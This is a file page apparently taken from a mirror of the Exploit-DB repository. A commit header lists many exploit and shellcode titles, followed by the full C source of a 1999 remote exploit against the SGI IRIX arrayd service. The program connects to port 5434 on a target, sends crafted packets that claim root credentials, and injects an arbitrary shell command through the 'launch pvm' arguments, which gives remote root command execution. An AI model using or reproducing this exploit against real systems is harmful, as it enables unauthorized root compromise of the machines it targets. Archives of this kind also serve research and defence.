exploit-db-mirror/exploits/multiple/remote/19426.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

134 lines
No EOL
5.1 KiB
C

/*
source: https://www.securityfocus.com/bid/530/info
The SGI Array Services provide a mechanism to simplify administering and managing an array of clustered systems. The arrayd(1m) program is part of the array_services(5) and is known as the array services daemon. The default configuration for authorization makes clustered systems vulnerable to remote root compromises. The array services are installed on Irix systems by default from the Irix applications CD. All versions of Unicos post 9.0.0 are vulnerable.
*/
/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland *://lsd-pl.net/ #*/
/*## arrayd #*/
/* this code makes the same as the following command invoked with root user */
/* privileges: */
/* /usr/sbin/array -s address launch pvm xxx xxx xxx "\";command;exit\"" */
/* there are two possible authentication methods that can be used by */
/* the arrayd service: */
/* AUTHENTICATION NONE */
/* requests from anywhere are accepted */
/* AUTHENTICATION SIMPLE */
/* requests from trusted hosts are accepted if they match the host/key */
/* from arrayd.auth file. if there is not a specific host/key pair for */
/* a given machine the request is also accepted although it should not */
/* be (see manual pages in case you dont believe it). */
/* as you see, SGI suggestion to protect arrayd cluster by enabling */
/* simple authentication gives no result */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
char msg1[]={
0x31,0x08,0x12,0x63,0x13,0x54,0x34,0x23,
0x00,0x00,0x00,0x00,0x12,0x34,0x56,0x78,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x03,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
char msg2[]={
0x00,0x00,0x00,0x02,0x10,0x00,0x28,0x00,
0x00,0x00,0x00,0x0f,
0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00, /* array */
0x00,0x00,0x00,0x5c,0x12,0x34,0x56,0x78, /* args */
0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x38, /* creds */
/* creds */
0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00, /* origin */
0x00,0x00,0x00,0x28,0x00,0x00,0x00,0x05, /* user */
0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x05, /* group */
0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00, /* project */
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
'r' ,'o' ,'o' ,'t' ,0x00,0x00,0x00,0x00,
'r' ,'o' ,'o' ,'t' ,0x00,0x00,0x00,0x00,
/* args */
0x00,0x00,0x00,0x06,
0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x30,
0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x07,
0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x04,
0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x04,
0x00,0x00,0x00,0x4c,0x00,0x00,0x00,0x04,
0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x03,
0x00,0x00,0x00,0x54,0x12,0x34,0x56,0x78,
'l' ,'a' ,'u' ,'n' ,'c' ,'h' ,0x00,0x00,
'p' ,'v' ,'m' ,0x00,'x' ,'x' ,'x' ,0x00,
'x' ,'x' ,'x' ,0x00,'x' ,'x' ,'x' ,0x00,
};
main(int argc,char **argv){
char buffer[10000],len[4],*b,*cmd="id";
int i,c,sck;
struct sockaddr_in address;
struct hostent *hp;
printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland //lsd-pl.net/\n");
printf("arrayd for irix 6.2 6.3 6.4 6.5 6.5.4 IP:all\n\n");
if(argc<2){
printf("usage: %s address [-c command]\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"c:"))!=-1){
switch(c){
case 'c': cmd=optarg;break;
}
}
sck=socket(AF_INET,SOCK_STREAM,0);
bzero(&address,sizeof(address));
address.sin_family=AF_INET;
address.sin_port=htons(5434);
if((address.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
}
if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
perror("error");exit(-1);
}
memcpy(buffer,msg2,sizeof(msg2));
sprintf(&buffer[sizeof(msg2)],"\";%s;exit\"",cmd);
*(unsigned long*)len=htonl(sizeof(msg2)+strlen(cmd)+8+1);
b=&msg1[12];
for(i=0;i<4;i++) *b++=len[i];
write(sck,msg1,64);
write(sck,buffer,sizeof(msg2)+strlen(cmd)+8+1);
read(sck,buffer,64);
read(sck,buffer,sizeof(buffer));
b=&buffer[8];
if((*(unsigned long*)b)!=1){
printf("error: command refused\n");exit(-1);
}
b=&buffer[12];
if(((*(unsigned long*)b)!=1)&&((*(unsigned long*)b)!=2)){
printf("error: command not executed\n");exit(-1);
}
printf("OK!\n");
}